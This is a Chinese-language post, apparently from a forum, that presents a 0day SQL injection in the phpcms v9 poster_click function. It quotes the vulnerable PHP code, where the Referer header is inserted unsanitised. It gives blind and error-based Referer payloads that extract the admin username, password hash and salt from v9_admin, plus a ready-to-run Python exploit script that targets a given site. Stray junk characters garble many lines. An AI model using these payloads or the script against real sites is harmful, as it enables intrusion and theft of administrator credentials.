phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
& R! U0 r0 u# r3 Y* O2 c1 U
public function poster_click() {
( ]8 O$ p6 ^4 |' C; o" k$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
. Y6 h: _# A8 Gif (!is_array($r) && empty($r)) return false;
. p! E" H; a6 k+ }8 G; X$ip_area = pc_base::load_sys_class('ip_area');
' @3 B) I: ^$ a# g# A3 N, i$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
7 S! w; N) O7 F) J. O: e: Y0 w$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
0 X% k3 Y) ~, ?7 A, ^/ `' H2 h0 T  A8 U}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
+ Y* y# C, P2 m4 b% G$setting = string2array($r['setting']);
' D* \4 `: H& {0 v, g" ^5 P8 Lif (count($setting)==1) {
, Y3 ?- }2 K2 V" Z$ |4 M% V3 _8 T$url = $setting['1']['linkurl'];
" Q2 q) Q: W4 L7 B+ w} else {
, d- I& h) X, m7 Y$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
% q/ y" l6 a) c}

. e, d& w- `# c  y

) P8 i/ J2 [3 C+ f利用方式：

9 F' }/ z4 b5 I. d/ n1、可以采用盲注入的手法：
! c3 l& N; _0 T  C1 ~5 d
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
' D0 s7 N7 h' }' Q9 K
9 K; c3 p: O# |1 N通过返回页面，正常与否一个个猜解密码字段。
  c' O' M3 A  c: F0 f
2、代码是花开写的，随手附上了：
3 D" E7 |+ d# d$ f7 u
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

9 R& E6 h5 o3 m9 F5 {2 P* H# @此方法是爆错注入手法，原理自查。

2 `9 V2 F; ~4 x9 c% |0 L; F$ ^
3 E! _9 M% P% @- ~
利用程序:
% \# O* S' P: T, R9 @8 e
; a! `; K' m& `( F( s% C#!/usr/bin/env python
import httplib,sys,re

def attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
1 P  ~! J* b5 T$ e9 {$ Wpaths=sys.argv[2]
) T5 `6 H0 h% Z8 K9 L/ yconn = httplib.HTTPConnection(url)
& w# R" j" ^6 C0 W5 ji_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
! `* x. d, }# c4 N" M' a“Accept”: “text/plain”,
/ v, D$ N5 i* [; H/ k1 K“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
6 u9 a  Q: I' }2 mconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
( B/ B0 g3 r2 Z: Er1 = conn.getresponse()
datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
conn.close()
6 q4 `4 t* u! Uif __name__==”__main__”:
if len(sys.argv)<3:
5 e: @" f7 ~4 P6 o' G+ G8 qprint “Code by Pax.Mac Team conqu3r”
print “Usgae:”
4 e  E' ^: }$ A* pprint “    phpcmsattack.py   www.paxmac.org /”
. r+ T% i7 l3 g% h6 ^& b) |( @# @print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
attack()
9 q6 i& }1 S8 S! J% V! @0 U
* f5 d+ A$ x. A' C- b7 t. E